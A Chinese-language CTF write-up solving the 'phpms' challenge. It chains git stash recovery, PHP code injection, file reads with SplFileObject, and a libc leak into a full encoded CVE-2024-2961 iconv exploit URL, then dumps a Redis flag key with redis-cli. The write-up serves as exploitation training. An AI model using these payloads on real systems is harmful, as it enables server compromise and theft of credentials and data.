前言:
比赛的时候给24级出题去了,接着就是准备护网,蹭着最近忙完了有空闲复现一下。
phpms
描述:听说你是php大师?
考点:git恢复暂存(stash)、php原生类SplFileObject读取文件、libc泄露、CVE-2024-2961、redis命令注入
进入后是个空白界面,那么就直接dirsearch启动
发现git泄露,用githacker导出文件
先配置个kali的dns(看情况)
1 | vim /etc/resolv.conf |
接着githacker
1 | githacker --url http://2a481ec1-de7f-42a5-87fa-1541b210953e.node5.buuoj.cn:81/.git --output-folder result |
但是导出四个空的php文件
那么就是进行恢复
查看简化的git仓库提交历史
1 | git log --oneline |
列出所有暂存(stash)的变更并显示
1 | git stash list |
发现有命令执行但是被#
给注释了
闭合绕过
1 | /index.php?shell=?><?php echo 1111; |
但是当尝试命令执行的时候,发现禁用了一堆基础函数,能利用的就是有php原生类
这里利用SplFileObject类读取文件
1 | /index.php?shell=?><?php $a=new SplFileObject("/etc/passwd");echo $a; |
但是发现这样只能看到一行不能看到所有信息,所以加一层遍历
1 | /index.php?shell=?><?php $a=new SplFileObject('/etc/passwd');foreach($a as $line){echo $line."<br>";}; |
可以看到读到的/etc/passwd
里有一个redis用户
利用DirectoryIterator类遍历一下根目录看看,发现一个hintflag
1 | /index.php?shell=?><?php $a=new DirectoryIterator('/');foreach($a as $line){echo $line."<br>";}; |
想读取一下hintflag,但是发现不管用DirectoryIterator还是SplFileObject都没法读到,利用目录穿越也不行
那么就读一下tmp里的东西,结果真发现了个redis-5.3.4.tgz没删
1 | /index.php?shell=?><?php $a=new DirectoryIterator('/tmp/pear/download');foreach($a as $line){echo $line."<br>";}; |
再结合上面/etc/passwd
里的redis用户
查看一下redis的配置文件
1 | /index.php?shell=?><?php $a=new SplFileObject('/etc/redis.conf');foreach($a as $line){echo $line."<br>";}; |
得到内网ip:192.168.1.100,端口:6379,redis密码:admin123。但是没有外网ip(没有/etc/network/interfaces
,也没法看历史~/.bash_history
,看hosts也没有,log也没有,ssh登录记录也没有)没法直接连接。。。
这里也是没有思路了。。。
看了一下包师傅的wp,发现是要打CVE-2024-2961(glibc的iconv()中的缓冲区溢出漏洞)
读取/proc/self/maps
,可以发现libc版本为libc-2.31.so
修改exp
利用php://filter
将maps的内容进行base64加密,接着在本地解密下载到maps同一目录下
1 | /index.php?shell=?><?php $a=new SplFileObject('php://filter/convert.base64-encode/resource=/proc/self/maps');foreach($a as $line){echo $line."<br>";}; |
libc-2.31.so的内容也是如上操作
1 | /index.php?shell=?><?php $a=new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');foreach($a as $line){echo $line."<br>";}; |
运行exp(注意环境中的libc-2.31.so是会变的)
执行payload
1 | /index.php?shell=?%3E%3C?php%20$a=new%20SplFileObject(%27php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXsO%2bOmQhbwrX3ai9XSL7VWx7wcOve2IYYxw0rs5d4Tq1%2bJlcp9FZtZVNOg8QfO4H/wuktkoVyhrrZrAx4QQLX6U3HQ/PCVyaH5W%2b8GvVM7CQbI34dM45selM49XboqxlXo3O2TtvpuskRvwYGtY061TFPy6ZapX0Vi16bmjcxR4CAFadqMwunVgE1bJ2nfmD%2b47D9sXt%2b/7iwbVdM/Mcb1/xvn75d/9V1cs/X3633P9u6qdTzE3DAn/u21y1OB0unnrkmdjv6rt21t0tzt1/P/btl757crfMer8yTt8vXfx0fn1/5//H77%2b6ftJnxGnfAvuh/laxDHYQwSovPytH//vbn429/Svqm77r7qix%2b2%2b/XlR//7LK1X1duP%2b/y7eVv/%2b3Qu/Z5yieZ18nR19%2bbP1d/4r717c%2b3v9vvbPv9d9e/P2%2bn3i7d8NPbunhOVp7Esf0SE//sJRALPsmRUTFL45b2Ra4NTPt2/P1%2b1022BEJBos/W6FrPvfMZgWqCnv8ZRxWPKh5VTGfFy7ZfkTLWLZdcXduzyaUzRZpAlvXJX2maFvXOKOy3RGqn0EkzAspn3AvKPrPlTuqab4anhFQn5RJQbrB26bYdXr3yLzfO/1S4eE93vNfPl8/jvTs5bhPwRUKUd27hVCn7S8n2VzXe6yjlsONX35Cpu/VoaNYfj/6/IYv3bO74IQwA%27);foreach($a%20as%20$line){echo%20$line."<br>";}; |
这里也是直接502了,试了好多次都是502也不知道是哪里出问题了(但是其实已经成功了,这个也是我在后面试着写入到tmp才发现的,卡了我好久。。。)
但是查看/var/www/html/1.txt
发现并不存在
尝试写入到tmp目录试试,运行exp
执行payload
1 | /index.php?shell=?%3E%3C?php%20$a=new%20SplFileObject(%27php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXvu%2bOmQh7wrX3ai9XSL7VWx6QWL03tiHGccPK7CWeU6ufydUJPVZbyZPTIPHHTmC/%2bruMr%2blyhrrZrAx4QQLX6U3HQ/PCVyaH5W%2b8GvVM7CQTI34dM45selM49XboqxlXo3O2TtvpuskBvwYGtY061TFPy6ZapX0Vi16bmjdRR4CAFadqMwunVgE1bJ1nfWD%2b47D/dhXfPy7MLd2Z9/HGtetvn77dv%2buiSvLfuge/a/oFT55nJuCA/%2bXnTc99uuImuXnr0W9h2/1LqzNvv328bV%2befn702ucVq263n799%2btf5/dtt/n98/1n55zT8QfCg/c7%2bOOkJ9yFEz83pUrdP11b/22JrP/fx0rztu%2b5Of/vvo03Fvx229uv87edevv26rD6G/fVO78q%2brxvXvv4%2b%2bTNX5cpttvtr95/I3X1//ePz1%2bv3zt09y35/XHmltf%2bO2N9z9m8xPq72vC3xz4mOJ895CcSg1OlLj7S%2bapWeyeo12rz/3x/lSU8JROGBgjcTN6Z9qXPrNur0%2bMU/qnhU8ahiOis22Lv02oyXpdM/busPnKYxUYdAGdbwUnfrMZ/1u3u21/ZsculMkSRQ5PnkrzRNq7qbuudt8hRVL5XTBJQnRHnnFk6Vsr%2bcbP/0sVul%2bP6pn06v3z9dSHAaAXcd2DLt1iMt07plx%2btWBd6LdIngI2DT5ais7tVXfsyU%2b73SrTJd8CMvAA==%27);foreach($a%20as%20$line){echo%20$line."<br>";}; |
查看/tmp/1.txt
发现已经写入成功了,这里说明网站根目录没有写入文件的权限,所以我们没法直接写入木马从而getshell
换个思路,我们就可以利用命令执行来获取flag接着写入到tmp目录中。但是前面我们可知该环境里面没有命令执行的函数。
既然没法通过命令执行来获取flag,那么接着换个思路。
上面我们找到了一个redis数据库并且我们还得到了密码admin123,那么我们就可以猜测flag可能存放在键中,我们就可以利用redis命令注入并且将结果写入到tmp目录中
开始实践,首先列出redis的所有键
1 | (echo \"auth admin123\nkeys *\" | redis-cli) > /tmp/1.txt |
发现有个名为flag的键,直接查看键值获取flag
1 | (echo \"auth admin123\nget flag\" | redis-cli) > /tmp/1.txt |
最后放一个出题人的exp(其实也就是加了一层请求直接把上面payload放入请求)
1 | #!/usr/bin/python |